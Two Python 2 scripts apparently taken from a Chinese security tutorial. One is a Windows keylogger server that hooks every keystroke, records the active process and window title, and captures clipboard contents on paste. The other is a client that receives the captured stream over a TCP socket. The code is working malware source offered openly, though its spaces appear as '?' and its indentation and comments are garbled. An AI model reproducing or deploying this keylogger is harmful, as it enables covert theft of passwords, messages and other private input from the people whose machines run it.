TCPclient.py
#?-*-?coding:?utf-8?-*-
import?socket
target_host?=?"127.0.0.1"
target_port?=?9999
client?=?socket.socket(socket.AF_INET,socket.SOCK_STREAM)
client.connect((target_host,target_port))
#client.send("GET?/?HTTP/1.1\r\nHOST:127.0.0.1\r\n\r\n")
try?:
while?True?:
response?=?client.recv(4096)
print?response
except?:
print?"[*]?Exception!?Exiting."
TCPserver.py
#?-*-?coding:?utf-8?-*-
import?socket
import?threading
from?ctypes?import?*
import?pythoncom
import?pyHook
import?win32clipboard
user32?=?windll.user32
kernel32?=?windll.kernel32
psapi?=?windll.psapi
current_window?=?None
client?=?None
bind_ip?=?"127.0.0.1"
bind_port?=?9999
server?=?socket.socket(socket.AF_INET,socket.SOCK_STREAM)
server.bind((bind_ip,bind_port))
server.listen(1)
def?get_current_process():
global?client
#?獲取最上層的窗口句柄
hwnd?=?user32.GetForegroundWindow()
#?獲取進程ID
pid?=?c_ulong(0)
user32.GetWindowThreadProcessId(hwnd,byref(pid))
#?將進程ID存入變量中
process_id?=?"%d"?%?pid.value
#?申請內(nèi)存
executable?=?create_string_buffer("\x00"*512)
h_process?=?kernel32.OpenProcess(0x400?|?0x10,False,pid)
psapi.GetModuleBaseNameA(h_process,None,byref(executable),512)
#?讀取窗口標(biāo)題
windows_title?=?create_string_buffer("\x00"*512)
length?=?user32.GetWindowTextA(hwnd,byref(windows_title),512)
data?=?'PID'+process_id+executable.value+windows_title.value
client.send(data)
#?關(guān)閉handles
kernel32.CloseHandle(hwnd)
kernel32.CloseHandle(h_process)
#return
#?定義擊鍵監(jiān)聽事件函數(shù)
def?KeyStroke(event):
global?current_window
global?client
#?檢測目標(biāo)窗口是否轉(zhuǎn)移(換了其他窗口就監(jiān)聽新的窗口)
if?event.WindowName?!=?current_window:
current_window?=?event.WindowName
#?函數(shù)調(diào)用
get_current_process()
#?檢測擊鍵是否常規(guī)按鍵（非組合鍵等）
if?event.Ascii?>?32?and?event.Ascii?<127:
buffer?=?chr(event.Ascii)
client.send(buffer)
else:
#?如果發(fā)現(xiàn)Ctrl+v（粘貼）事件，就把粘貼板內(nèi)容記錄下來
if?event.Key?==?"V":
win32clipboard.OpenClipboard()
pasted_value?=?win32clipboard.GetClipboardData()
win32clipboard.CloseClipboard()
buffer?=?pasted_value
client.send(buffer)
else:
buffer?=?event.Key
client.send(buffer)
#?循環(huán)監(jiān)聽下一個擊鍵事件
return?True
print?"[*]?Listening?on?%s:%d"?%?(bind_ip,bind_port)
client,addr?=?server.accept()
print?"[*]?Accept?connection?from:%s:%d"?%?(addr[0],addr[1])
client.send("OK!")
if?client:
#?創(chuàng)建并注冊hook管理器
kl?=?pyHook.HookManager()
kl.KeyDown?=?KeyStroke
#?注冊hook并執(zhí)行
kl.HookKeyboard()
pythoncom.PumpMessages()
'''if?len(buffer):
try:
while?True:
print?buffer
client.send(buffer)
except?:
print?"[*]?Exception!?Exiting."
client.close()'''
參考文獻(xiàn)：
http://drops.wooyun.org/papers/4751
